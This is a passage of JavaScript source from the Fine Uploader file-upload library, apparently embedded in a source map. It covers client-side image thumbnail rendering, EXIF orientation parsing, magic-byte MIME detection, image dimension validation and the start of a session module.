imageWidth: iw,\n                orientation: options.orientation,\n                resize: options.resize,\n                targetHeight: height,\n                targetWidth: width\n            });\n        }\n\n        if (!qq.supportedFeatures.unlimitedScaledImageSize) {\n            modifiedDimensions = maybeCalculateDownsampledDimensions({\n                origWidth: width,\n                origHeight: height\n            });\n\n            if (modifiedDimensions) {\n                qq.log(qq.format(\"Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h\",\n                    width, height, modifiedDimensions.newWidth, modifiedDimensions.newHeight),\n                    \"warn\");\n\n                width = modifiedDimensions.newWidth;\n                height = modifiedDimensions.newHeight;\n            }\n        }\n\n        transformCoordinate(canvas, width, height, options.orientation);\n\n        // Fine Uploader specific: Save some CPU cycles if not using iOS\n        // Assumption: This logic is only needed to overcome iOS image sampling issues\n        if (qq.ios()) {\n            (function() {\n                if (detectSubsampling(img)) {\n                    iw /= 2;\n                    ih /= 2;\n                }\n\n                var d = 1024, // size of tiling canvas\n                    tmpCanvas = document.createElement(\"canvas\"),\n                    vertSquashRatio = doSquash ? detectVerticalSquash(img, iw, ih) : 1,\n                    dw = Math.ceil(d * width / iw),\n                    dh = Math.ceil(d * height / ih / vertSquashRatio),\n                    sy = 0,\n                    dy = 0,\n                    tmpCtx, sx, dx;\n\n                tmpCanvas.width = tmpCanvas.height = d;\n                tmpCtx = tmpCanvas.getContext(\"2d\");\n\n                while (sy < ih) {\n                    sx = 0;\n                    dx = 0;\n                    while (sx < iw) {\n                        tmpCtx.clearRect(0, 0, d, d);\n                        tmpCtx.drawImage(img, -sx, -sy);\n                        ctx.drawImage(tmpCanvas, 0, 0, d, d, dx, dy, dw, dh);\n                        sx += d;\n                        dx += dw;\n                    }\n                    sy += d;\n                    dy += dh;\n                }\n                ctx.restore();\n                tmpCanvas = tmpCtx = null;\n            }());\n        }\n        else {\n            ctx.drawImage(img, 0, 0, width, height);\n        }\n\n        canvas.qqImageRendered && canvas.qqImageRendered();\n        promise.success();\n\n        return promise;\n    }\n\n    function renderImageToCanvasWithCustomResizer(resizeInfo) {\n        var blob = resizeInfo.blob,\n            image = resizeInfo.image,\n            imageHeight = resizeInfo.imageHeight,\n            imageWidth = resizeInfo.imageWidth,\n            orientation = resizeInfo.orientation,\n            promise = new qq.Promise(),\n            resize = resizeInfo.resize,\n            sourceCanvas = document.createElement(\"canvas\"),\n            sourceCanvasContext = sourceCanvas.getContext(\"2d\"),\n            targetCanvas = resizeInfo.canvas,\n            targetHeight = resizeInfo.targetHeight,\n            targetWidth = resizeInfo.targetWidth;\n\n        transformCoordinate(sourceCanvas, imageWidth, imageHeight, orientation);\n\n        targetCanvas.height = targetHeight;\n        targetCanvas.width = targetWidth;\n\n        sourceCanvasContext.drawImage(image, 0, 0);\n\n        resize({\n            blob: blob,\n            height: targetHeight,\n            image: image,\n            sourceCanvas: sourceCanvas,\n            targetCanvas: targetCanvas,\n            width: targetWidth\n        })\n            .then(\n                function success() {\n                    targetCanvas.qqImageRendered && targetCanvas.qqImageRendered();\n                    promise.success();\n                },\n                promise.failure\n            );\n\n        return promise;\n    }\n\n    /**\n     * Transform canvas coordination according to specified frame size and orientation\n     * Orientation value is from EXIF tag\n     */\n    function transformCoordinate(canvas, width, height, orientation) {\n        switch (orientation) {\n            case 5:\n            case 6:\n            case 7:\n            case 8:\n                canvas.width = height;\n                canvas.height = width;\n                break;\n            default:\n                canvas.width = width;\n                canvas.height = height;\n        }\n        var ctx = canvas.getContext(\"2d\");\n        switch (orientation) {\n            case 2:\n                // horizontal flip\n                ctx.translate(width, 0);\n                ctx.scale(-1, 1);\n                break;\n            case 3:\n                // 180 rotate left\n                ctx.translate(width, height);\n                ctx.rotate(Math.PI);\n                break;\n            case 4:\n                // vertical flip\n                ctx.translate(0, height);\n                ctx.scale(1, -1);\n                break;\n            case 5:\n                // vertical flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.scale(1, -1);\n                break;\n            case 6:\n                // 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(0, -height);\n                break;\n            case 7:\n                // horizontal flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(width, -height);\n                ctx.scale(-1, 1);\n                break;\n            case 8:\n                // 90 rotate left\n                ctx.rotate(-0.5 * Math.PI);\n                ctx.translate(-width, 0);\n                break;\n            default:\n                break;\n        }\n    }\n\n    /**\n     * MegaPixImage class\n     */\n    function MegaPixImage(srcImage, errorCallback) {\n        var self = this;\n\n        if (window.Blob && srcImage instanceof Blob) {\n            (function() {\n                var img = new Image(),\n                    URL = window.URL && window.URL.createObjectURL ? window.URL :\n                        window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;\n                if (!URL) { throw Error(\"No createObjectURL function found to create blob url\"); }\n                img.src = URL.createObjectURL(srcImage);\n                self.blob = srcImage;\n                srcImage = img;\n            }());\n        }\n        if (!srcImage.naturalWidth && !srcImage.naturalHeight) {\n            srcImage.onload = function() {\n                var listeners = self.imageLoadListeners;\n                if (listeners) {\n                    self.imageLoadListeners = null;\n                    // IE11 doesn't reliably report actual image dimensions immediately after onload for small files,\n                    // so let's push this to the end of the UI thread queue.\n                    setTimeout(function() {\n                        for (var i = 0, len = listeners.length; i < len; i++) {\n                            listeners[i]();\n                        }\n                    }, 0);\n                }\n            };\n            srcImage.onerror = errorCallback;\n            this.imageLoadListeners = [];\n        }\n        this.srcImage = srcImage;\n    }\n\n    /**\n     * Rendering megapix image into specified target element\n     */\n    MegaPixImage.prototype.render = function(target, options) {\n        options = options || {};\n\n        var self = this,\n            imgWidth = this.srcImage.naturalWidth,\n            imgHeight = this.srcImage.naturalHeight,\n            width = options.width,\n            height = options.height,\n            maxWidth = options.maxWidth,\n            maxHeight = options.maxHeight,\n            doSquash = !this.blob || this.blob.type === \"image/jpeg\",\n            tagName = target.tagName.toLowerCase(),\n            opt;\n\n        if (this.imageLoadListeners) {\n            this.imageLoadListeners.push(function() { self.render(target, options); });\n            return;\n        }\n\n        if (width && !height) {\n            height = (imgHeight * width / imgWidth) << 0;\n        } else if (height && !width) {\n            width = (imgWidth * height / imgHeight) << 0;\n        } else {\n            width = imgWidth;\n            height = imgHeight;\n        }\n        if (maxWidth && width > maxWidth) {\n            width = maxWidth;\n            height = (imgHeight * width / imgWidth) << 0;\n        }\n        if (maxHeight && height > maxHeight) {\n            height = maxHeight;\n            width = (imgWidth * height / imgHeight) << 0;\n        }\n\n        opt = { width: width, height: height },\n        qq.each(options, function(optionsKey, optionsValue) {\n            opt[optionsKey] = optionsValue;\n        });\n\n        if (tagName === \"img\") {\n            (function() {\n                var oldTargetSrc = target.src;\n                renderImageToDataURL(self.srcImage, self.blob, opt, doSquash)\n                    .then(function(dataUri) {\n                        target.src = dataUri;\n                        oldTargetSrc === target.src && target.onload();\n                    });\n            }());\n        } else if (tagName === \"canvas\") {\n            renderImageToCanvas(this.srcImage, this.blob, target, opt, doSquash);\n        }\n        if (typeof this.onrender === \"function\") {\n            this.onrender(target);\n        }\n    };\n\n    qq.MegaPixImage = MegaPixImage;\n})();\n","/*globals qq */\n/**\n * Draws a thumbnail of a Blob/File/URL onto an <img> or <canvas>.\n *\n * @constructor\n */\nqq.ImageGenerator = function(log) {\n    \"use strict\";\n\n    function isImg(el) {\n        return el.tagName.toLowerCase() === \"img\";\n    }\n\n    function isCanvas(el) {\n        return el.tagName.toLowerCase() === \"canvas\";\n    }\n\n    function isImgCorsSupported() {\n        return new Image().crossOrigin !== undefined;\n    }\n\n    function isCanvasSupported() {\n        var canvas = document.createElement(\"canvas\");\n\n        return canvas.getContext && canvas.getContext(\"2d\");\n    }\n\n    // This is only meant to determine the MIME type of a renderable image file.\n    // It is used to ensure images drawn from a URL that have transparent backgrounds\n    // are rendered correctly, among other things.\n    function determineMimeOfFileName(nameWithPath) {\n        /*jshint -W015 */\n        var pathSegments = nameWithPath.split(\"/\"),\n            name = pathSegments[pathSegments.length - 1].split(\"?\")[0],\n            extension = qq.getExtension(name);\n\n        extension = extension && extension.toLowerCase();\n\n        switch (extension) {\n            case \"jpeg\":\n            case \"jpg\":\n                return \"image/jpeg\";\n            case \"png\":\n                return \"image/png\";\n            case \"bmp\":\n                return \"image/bmp\";\n            case \"gif\":\n                return \"image/gif\";\n            case \"tiff\":\n            case \"tif\":\n                return \"image/tiff\";\n        }\n    }\n\n    // This will likely not work correctly in IE8 and older.\n    // It's only used as part of a formula to determine\n    // if a canvas can be used to scale a server-hosted thumbnail.\n    // If canvas isn't supported by the UA (IE8 and older)\n    // this method should not even be called.\n    function isCrossOrigin(url) {\n        var targetAnchor = document.createElement(\"a\"),\n            targetProtocol, targetHostname, targetPort;\n\n        targetAnchor.href = url;\n\n        targetProtocol = targetAnchor.protocol;\n        targetPort = targetAnchor.port;\n        targetHostname = targetAnchor.hostname;\n\n        if (targetProtocol.toLowerCase() !== window.location.protocol.toLowerCase()) {\n            return true;\n        }\n\n        if (targetHostname.toLowerCase() !== window.location.hostname.toLowerCase()) {\n            return true;\n        }\n\n        // IE doesn't take ports into consideration when determining if two endpoints are same origin.\n        if (targetPort !== window.location.port && !qq.ie()) {\n            return true;\n        }\n\n        return false;\n    }\n\n    function registerImgLoadListeners(img, promise) {\n        img.onload = function() {\n            img.onload = null;\n            img.onerror = null;\n            promise.success(img);\n        };\n\n        img.onerror = function() {\n            img.onload = null;\n            img.onerror = null;\n            log(\"Problem drawing thumbnail!\", \"error\");\n            promise.failure(img, \"Problem drawing thumbnail!\");\n        };\n    }\n\n    function registerCanvasDrawImageListener(canvas, promise) {\n        // The image is drawn on the canvas by a third-party library,\n        // and we want to know when this is completed.  Since the library\n        // may invoke drawImage many times in a loop, we need to be called\n        // back when the image is fully rendered.  So, we are expecting the\n        // code that draws this image to follow a convention that involves a\n        // function attached to the canvas instance be invoked when it is done.\n        canvas.qqImageRendered = function() {\n            promise.success(canvas);\n        };\n    }\n\n    // Fulfills a `qq.Promise` when an image has been drawn onto the target,\n    // whether that is a <canvas> or an <img>.  The attempt is considered a\n    // failure if the target is not an <img> or a <canvas>, or if the drawing\n    // attempt was not successful.\n    function registerThumbnailRenderedListener(imgOrCanvas, promise) {\n        var registered = isImg(imgOrCanvas) || isCanvas(imgOrCanvas);\n\n        if (isImg(imgOrCanvas)) {\n            registerImgLoadListeners(imgOrCanvas, promise);\n        }\n        else if (isCanvas(imgOrCanvas)) {\n            registerCanvasDrawImageListener(imgOrCanvas, promise);\n        }\n        else {\n            promise.failure(imgOrCanvas);\n            log(qq.format(\"Element container of type {} is not supported!\", imgOrCanvas.tagName), \"error\");\n        }\n\n        return registered;\n    }\n\n    // Draw a preview iff the current UA can natively display it.\n    // Also rotate the image if necessary.\n    function draw(fileOrBlob, container, options) {\n        var drawPreview = new qq.Promise(),\n            identifier = new qq.Identify(fileOrBlob, log),\n            maxSize = options.maxSize,\n            // jshint eqnull:true\n            orient = options.orient == null ? true : options.orient,\n            megapixErrorHandler = function() {\n                container.onerror = null;\n                container.onload = null;\n                log(\"Could not render preview, file may be too large!\", \"error\");\n                drawPreview.failure(container, \"Browser cannot render image!\");\n            };\n\n        identifier.isPreviewable().then(\n            function(mime) {\n                // If options explicitly specify that Orientation is not desired,\n                // replace the orient task with a dummy promise that \"succeeds\" immediately.\n                var dummyExif = {\n                        parse: function() {\n                            return new qq.Promise().success();\n                        }\n                    },\n                    exif = orient ? new qq.Exif(fileOrBlob, log) : dummyExif,\n                    mpImg = new qq.MegaPixImage(fileOrBlob, megapixErrorHandler);\n\n                if (registerThumbnailRenderedListener(container, drawPreview)) {\n                    exif.parse().then(\n                        function(exif) {\n                            var orientation = exif && exif.Orientation;\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                orientation: orientation,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        },\n\n                        function(failureMsg) {\n                            log(qq.format(\"EXIF data could not be parsed ({}).  Assuming orientation = 1.\", failureMsg));\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        }\n                    );\n                }\n            },\n\n            function() {\n                log(\"Not previewable\");\n                drawPreview.failure(container, \"Not previewable\");\n            }\n        );\n\n        return drawPreview;\n    }\n\n    function drawOnCanvasOrImgFromUrl(url, canvasOrImg, draw, maxSize, customResizeFunction) {\n        var tempImg = new Image(),\n            tempImgRender = new qq.Promise();\n\n        registerThumbnailRenderedListener(tempImg, tempImgRender);\n\n        if (isCrossOrigin(url)) {\n            tempImg.crossOrigin = \"anonymous\";\n        }\n\n        tempImg.src = url;\n\n        tempImgRender.then(\n            function rendered() {\n                registerThumbnailRenderedListener(canvasOrImg, draw);\n\n                var mpImg = new qq.MegaPixImage(tempImg);\n                mpImg.render(canvasOrImg, {\n                    maxWidth: maxSize,\n                    maxHeight: maxSize,\n                    mime: determineMimeOfFileName(url),\n                    resize: customResizeFunction\n                });\n            },\n\n            draw.failure\n        );\n    }\n\n    function drawOnImgFromUrlWithCssScaling(url, img, draw, maxSize) {\n        registerThumbnailRenderedListener(img, draw);\n        // NOTE: The fact that maxWidth/height is set on the thumbnail for scaled images\n        // that must drop back to CSS is known and exploited by the templating module.\n        // In this module, we pre-render \"waiting\" thumbs for all files immediately after they\n        // are submitted, and we must be sure to pass any style associated with the \"waiting\" preview.\n        qq(img).css({\n            maxWidth: maxSize + \"px\",\n            maxHeight: maxSize + \"px\"\n        });\n\n        img.src = url;\n    }\n\n    // Draw a (server-hosted) thumbnail given a URL.\n    // This will optionally scale the thumbnail as well.\n    // It attempts to use <canvas> to scale, but will fall back\n    // to max-width and max-height style properties if the UA\n    // doesn't support canvas or if the images is cross-domain and\n    // the UA doesn't support the crossorigin attribute on img tags,\n    // which is required to scale a cross-origin image using <canvas> &\n    // then export it back to an <img>.\n    function drawFromUrl(url, container, options) {\n        var draw = new qq.Promise(),\n            scale = options.scale,\n            maxSize = scale ? options.maxSize : null;\n\n        // container is an img, scaling needed\n        if (scale && isImg(container)) {\n            // Iff canvas is available in this UA, try to use it for scaling.\n            // Otherwise, fall back to CSS scaling\n            if (isCanvasSupported()) {\n                // Attempt to use <canvas> for image scaling,\n                // but we must fall back to scaling via CSS/styles\n                // if this is a cross-origin image and the UA doesn't support <img> CORS.\n                if (isCrossOrigin(url) && !isImgCorsSupported()) {\n                    drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n                }\n                else {\n                    drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n                }\n            }\n            else {\n                drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n            }\n        }\n        // container is a canvas, scaling optional\n        else if (isCanvas(container)) {\n            drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n        }\n        // container is an img & no scaling: just set the src attr to the passed url\n        else if (registerThumbnailRenderedListener(container, draw)) {\n            container.src = url;\n        }\n\n        return draw;\n    }\n\n    qq.extend(this, {\n        /**\n         * Generate a thumbnail.  Depending on the arguments, this may either result in\n         * a client-side rendering of an image (if a `Blob` is supplied) or a server-generated\n         * image that may optionally be scaled client-side using <canvas> or CSS/styles (as a fallback).\n         *\n         * @param fileBlobOrUrl a `File`, `Blob`, or a URL pointing to the image\n         * @param container <img> or <canvas> to contain the preview\n         * @param options possible properties include `maxSize` (int), `orient` (bool - default true), resize` (bool - default true), and `customResizeFunction`.\n         * @returns qq.Promise fulfilled when the preview has been drawn, or the attempt has failed\n         */\n        generate: function(fileBlobOrUrl, container, options) {\n            if (qq.isString(fileBlobOrUrl)) {\n                log(\"Attempting to update thumbnail based on server response.\");\n                return drawFromUrl(fileBlobOrUrl, container, options || {});\n            }\n            else {\n                log(\"Attempting to draw client-side image preview.\");\n                return draw(fileBlobOrUrl, container, options || {});\n            }\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.isImg = isImg;\n    this._testing.isCanvas = isCanvas;\n    this._testing.isCrossOrigin = isCrossOrigin;\n    this._testing.determineMimeOfFileName = determineMimeOfFileName;\n    /*</testing>*/\n};\n","/*globals qq */\n/**\n * EXIF image data parser.  Currently only parses the Orientation tag value,\n * but this may be expanded to other tags in the future.\n *\n * @param fileOrBlob Attempt to parse EXIF data in this `Blob`\n * @constructor\n */\nqq.Exif = function(fileOrBlob, log) {\n    \"use strict\";\n\n    // Orientation is the only tag parsed here at this time.\n    var TAG_IDS = [274],\n        TAG_INFO = {\n            274: {\n                name: \"Orientation\",\n                bytes: 2\n            }\n        };\n\n    // Convert a little endian (hex string) to big endian (decimal).\n    function parseLittleEndian(hex) {\n        var result = 0,\n            pow = 0;\n\n        while (hex.length > 0) {\n            result += parseInt(hex.substring(0, 2), 16) * Math.pow(2, pow);\n            hex = hex.substring(2, hex.length);\n            pow += 8;\n        }\n\n        return result;\n    }\n\n    // Find the byte offset, of Application Segment 1 (EXIF).\n    // External callers need not supply any arguments.\n    function seekToApp1(offset, promise) {\n        var theOffset = offset,\n            thePromise = promise;\n        if (theOffset === undefined) {\n            theOffset = 2;\n            thePromise = new qq.Promise();\n        }\n\n        qq.readBlobToHex(fileOrBlob, theOffset, 4).then(function(hex) {\n            var match = /^ffe([0-9])/.exec(hex),\n                segmentLength;\n\n            if (match) {\n                if (match[1] !== \"1\") {\n                    segmentLength = parseInt(hex.slice(4, 8), 16);\n                    seekToApp1(theOffset + segmentLength + 2, thePromise);\n                }\n                else {\n                    thePromise.success(theOffset);\n                }\n            }\n            else {\n                thePromise.failure(\"No EXIF header to be found!\");\n            }\n        });\n\n        return thePromise;\n    }\n\n    // Find the byte offset of Application Segment 1 (EXIF) for valid JPEGs only.\n    function getApp1Offset() {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, 0, 6).then(function(hex) {\n            if (hex.indexOf(\"ffd8\") !== 0) {\n                promise.failure(\"Not a valid JPEG!\");\n            }\n            else {\n                seekToApp1().then(function(offset) {\n                    promise.success(offset);\n                },\n                function(error) {\n                    promise.failure(error);\n                });\n            }\n        });\n\n        return promise;\n    }\n\n    // Determine the byte ordering of the EXIF header.\n    function isLittleEndian(app1Start) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 10, 2).then(function(hex) {\n            promise.success(hex === \"4949\");\n        });\n\n        return promise;\n    }\n\n    // Determine the number of directory entries in the EXIF header.\n    function getDirEntryCount(app1Start, littleEndian) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 18, 2).then(function(hex) {\n            if (littleEndian) {\n                return promise.success(parseLittleEndian(hex));\n            }\n            else {\n                promise.success(parseInt(hex, 16));\n            }\n        });\n\n        return promise;\n    }\n\n    // Get the IFD portion of the EXIF header as a hex string.\n    function getIfd(app1Start, dirEntries) {\n        var offset = app1Start + 20,\n            bytes = dirEntries * 12;\n\n        return qq.readBlobToHex(fileOrBlob, offset, bytes);\n    }\n\n    // Obtain an array of all directory entries (as hex strings) in the EXIF header.\n    function getDirEntries(ifdHex) {\n        var entries = [],\n            offset = 0;\n\n        while (offset + 24 <= ifdHex.length) {\n            entries.push(ifdHex.slice(offset, offset + 24));\n            offset += 24;\n        }\n\n        return entries;\n    }\n\n    // Obtain values for all relevant tags and return them.\n    function getTagValues(littleEndian, dirEntries) {\n        var TAG_VAL_OFFSET = 16,\n            tagsToFind = qq.extend([], TAG_IDS),\n            vals = {};\n\n        qq.each(dirEntries, function(idx, entry) {\n            var idHex = entry.slice(0, 4),\n                id = littleEndian ? parseLittleEndian(idHex) : parseInt(idHex, 16),\n                tagsToFindIdx = tagsToFind.indexOf(id),\n                tagValHex, tagName, tagValLength;\n\n            if (tagsToFindIdx >= 0) {\n                tagName = TAG_INFO[id].name;\n                tagValLength = TAG_INFO[id].bytes;\n                tagValHex = entry.slice(TAG_VAL_OFFSET, TAG_VAL_OFFSET + (tagValLength * 2));\n                vals[tagName] = littleEndian ? parseLittleEndian(tagValHex) : parseInt(tagValHex, 16);\n\n                tagsToFind.splice(tagsToFindIdx, 1);\n            }\n\n            if (tagsToFind.length === 0) {\n                return false;\n            }\n        });\n\n        return vals;\n    }\n\n    qq.extend(this, {\n        /**\n         * Attempt to parse the EXIF header for the `Blob` associated with this instance.\n         *\n         * @returns {qq.Promise} To be fulfilled when the parsing is complete.\n         * If successful, the parsed EXIF header as an object will be included.\n         */\n        parse: function() {\n            var parser = new qq.Promise(),\n                onParseFailure = function(message) {\n                    log(qq.format(\"EXIF header parse failed: '{}' \", message));\n                    parser.failure(message);\n                };\n\n            getApp1Offset().then(function(app1Offset) {\n                log(qq.format(\"Moving forward with EXIF header parsing for '{}'\", fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name));\n\n                isLittleEndian(app1Offset).then(function(littleEndian) {\n\n                    log(qq.format(\"EXIF Byte order is {} endian\", littleEndian ? \"little\" : \"big\"));\n\n                    getDirEntryCount(app1Offset, littleEndian).then(function(dirEntryCount) {\n\n                        log(qq.format(\"Found {} APP1 directory entries\", dirEntryCount));\n\n                        getIfd(app1Offset, dirEntryCount).then(function(ifdHex) {\n                            var dirEntries = getDirEntries(ifdHex),\n                                tagValues = getTagValues(littleEndian, dirEntries);\n\n                            log(\"Successfully parsed some EXIF tags\");\n\n                            parser.success(tagValues);\n                        }, onParseFailure);\n                    }, onParseFailure);\n                }, onParseFailure);\n            }, onParseFailure);\n\n            return parser;\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.parseLittleEndian = parseLittleEndian;\n    /*</testing>*/\n};\n","/*globals qq */\nqq.Identify = function(fileOrBlob, log) {\n    \"use strict\";\n\n    function isIdentifiable(magicBytes, questionableBytes) {\n        var identifiable = false,\n            magicBytesEntries = [].concat(magicBytes);\n\n        qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {\n            if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {\n                identifiable = true;\n                return false;\n            }\n        });\n\n        return identifiable;\n    }\n\n    qq.extend(this, {\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by reading magic\n         * bytes in the beginning of the file, so this is an asynchronous operation.  Before we attempt to read the\n         * file, we will examine the blob's type attribute to save CPU cycles.\n         *\n         * @returns {qq.Promise} Promise that is fulfilled when identification is complete.\n         * If successful, the MIME string is passed to the success handler.\n         */\n        isPreviewable: function() {\n            var self = this,\n                identifier = new qq.Promise(),\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            log(qq.format(\"Attempting to determine if {} can be rendered in this browser\", name));\n\n            log(\"First pass: check type attribute of blob object.\");\n\n            if (this.isPreviewableSync()) {\n                log(\"Second pass: check for magic bytes in file header.\");\n\n                qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {\n                    qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {\n                        if (isIdentifiable(bytes, hex)) {\n                            // Safari is the only supported browser that can deal with TIFFs natively,\n                            // so, if this is a TIFF and the UA isn't Safari, declare this file \"non-previewable\".\n                            if (mime !== \"image/tiff\" || qq.supportedFeatures.tiffPreviews) {\n                                previewable = true;\n                                identifier.success(mime);\n                            }\n\n                            return false;\n                        }\n                    });\n\n                    log(qq.format(\"'{}' is {} able to be rendered in this browser\", name, previewable ? \"\" : \"NOT\"));\n\n                    if (!previewable) {\n                        identifier.failure();\n                    }\n                },\n                function() {\n                    log(\"Error reading file w/ name '\" + name + \"'.  Not able to be rendered in this browser.\");\n                    identifier.failure();\n                });\n            }\n            else {\n                identifier.failure();\n            }\n\n            return identifier;\n        },\n\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by checking the\n         * blob's type attribute.  This is a synchronous operation, useful for situations where an asynchronous operation\n         * would be challenging to support.  Note that the blob's type property is not as accurate as reading the\n         * file's magic bytes.\n         *\n         * @returns {Boolean} true if the blob can be rendered in the current browser\n         */\n        isPreviewableSync: function() {\n            var fileMime = fileOrBlob.type,\n                // Assumption: This will only ever be executed in browsers that support `Object.keys`.\n                isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0,\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            if (isRecognizedImage) {\n                if (fileMime === \"image/tiff\") {\n                    previewable = qq.supportedFeatures.tiffPreviews;\n                }\n                else {\n                    previewable = true;\n                }\n            }\n\n            !previewable && log(name + \" is not previewable in this browser per the blob's type attr\");\n\n            return previewable;\n        }\n    });\n};\n\nqq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {\n    \"image/jpeg\": \"ffd8ff\",\n    \"image/gif\": \"474946\",\n    \"image/png\": \"89504e\",\n    \"image/bmp\": \"424d\",\n    \"image/tiff\": [\"49492a00\", \"4d4d002a\"]\n};\n","/*globals qq*/\n/**\n * Attempts to validate an image, wherever possible.\n *\n * @param blob File or Blob representing a user-selecting image.\n * @param log Uses this to post log messages to the console.\n * @constructor\n */\nqq.ImageValidation = function(blob, log) {\n    \"use strict\";\n\n    /**\n     * @param limits Object with possible image-related limits to enforce.\n     * @returns {boolean} true if at least one of the limits has a non-zero value\n     */\n    function hasNonZeroLimits(limits) {\n        var atLeastOne = false;\n\n        qq.each(limits, function(limit, value) {\n            if (value > 0) {\n                atLeastOne = true;\n                return false;\n            }\n        });\n\n        return atLeastOne;\n    }\n\n    /**\n     * @returns {qq.Promise} The promise is a failure if we can't obtain the width & height.\n     * Otherwise, `success` is called on the returned promise with an object containing\n     * `width` and `height` properties.\n     */\n    function getWidthHeight() {\n        var sizeDetermination = new qq.Promise();\n\n        new qq.Identify(blob, log).isPreviewable().then(function() {\n            var image = new Image(),\n                url = window.URL && window.URL.createObjectURL ? window.URL :\n                      window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL :\n                      null;\n\n            if (url) {\n                image.onerror = function() {\n                    log(\"Cannot determine dimensions for image.  May be too large.\", \"error\");\n                    sizeDetermination.failure();\n                };\n\n                image.onload = function() {\n                    sizeDetermination.success({\n                        width: this.width,\n                        height: this.height\n                    });\n                };\n\n                image.src = url.createObjectURL(blob);\n            }\n            else {\n                log(\"No createObjectURL function available to generate image URL!\", \"error\");\n                sizeDetermination.failure();\n            }\n        }, sizeDetermination.failure);\n\n        return sizeDetermination;\n    }\n\n    /**\n     *\n     * @param limits Object with possible image-related limits to enforce.\n     * @param dimensions Object containing `width` & `height` properties for the image to test.\n     * @returns {String || undefined} The name of the failing limit.  Undefined if no failing limits.\n     */\n    function getFailingLimit(limits, dimensions) {\n        var failingLimit;\n\n        qq.each(limits, function(limitName, limitValue) {\n            if (limitValue > 0) {\n                var limitMatcher = /(max|min)(Width|Height)/.exec(limitName),\n                    dimensionPropName = limitMatcher[2].charAt(0).toLowerCase() + limitMatcher[2].slice(1),\n                    actualValue = dimensions[dimensionPropName];\n\n                /*jshint -W015*/\n                switch (limitMatcher[1]) {\n                    case \"min\":\n                        if (actualValue < limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                    case \"max\":\n                        if (actualValue > limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                }\n            }\n        });\n\n        return failingLimit;\n    }\n\n    /**\n     * Validate the associated blob.\n     *\n     * @param limits\n     * @returns {qq.Promise} `success` is called on the promise is the image is valid or\n     * if the blob is not an image, or if the image is not verifiable.\n     * Otherwise, `failure` with the name of the failing limit.\n     */\n    this.validate = function(limits) {\n        var validationEffort = new qq.Promise();\n\n        log(\"Attempting to validate image.\");\n\n        if (hasNonZeroLimits(limits)) {\n            getWidthHeight().then(function(dimensions) {\n                var failingLimit = getFailingLimit(limits, dimensions);\n\n                if (failingLimit) {\n                    validationEffort.failure(failingLimit);\n                }\n                else {\n                    validationEffort.success();\n                }\n            }, validationEffort.success);\n        }\n        else {\n            validationEffort.success();\n        }\n\n        return validationEffort;\n    };\n};\n","/* globals qq */\n/**\n * Module used to control populating the initial list of files.\n *\n * @constructor\n */\nqq.Session = function(spec) {\n    \"use strict\";\n\n    var options = {\n        endpoint: null,\n        params: {},\n        customHeaders: {},\n        cors: {},\n        addFileRecord: function(sessionData) {},\n        log: function(message, level) {}\n    };\n\n    qq.extend(options, spec, true);\n\n    function isJsonResponseValid(response) {\n        if (qq.isArray(response)) {\n            return true;\n        }\n\n        options.log(\"Session response is not an array.\", \"error\");\n    }\n\n    function handleFileItems(fileItems, success, xhrOrXdr, promise) {\n        var someItemsIgnored = false;\n\n        success = success && isJsonResponseValid(fileItems);\n\n        if (success) {\n            qq.each(fileItems, function(idx, fileItem) {\n                /* jshint eqnull:true */\n                if (fileItem.uuid == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid UUID - ignoring.\", idx), \"error\");\n                }\n                else if (fileItem.name == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid name - ignoring.\", idx), \"error\");\n                }\n                else {\n                    try {\n                        options.addFileRecord(fileItem);\n                        return true;\n                    }\n                    catch (err) {\n                        someItemsIgnored = true;\n                        options.log(err.message, \"error\");\n                    }\n                }\n\n                return false;\n            });\n        }\n\n        promise[success && !someItemsIgnored ? \"success\" : \"failure\"](fileItems, xhrOrXdr);\n    }\n\n    // Initiate a call to the server that will be used to populate the initial file list.\n    // Returns a `qq.Promise`.\n    this.refresh = function() {\n        /*jshint indent:false */\n        var refreshEffort = new qq.Promise(),\n            refreshCompleteCallback = function(response, success, xhrOrXdr) {\n                handleFileItems(response, success, xhrOrXdr, refreshEffort);\n            },\n            requesterOptions = qq.extend({}, options),\n            requester = new qq.SessionAjaxRequester(\n                qq.extend(requesterOptions, {onComplete: refreshCompleteCallback})\n            );\n\n        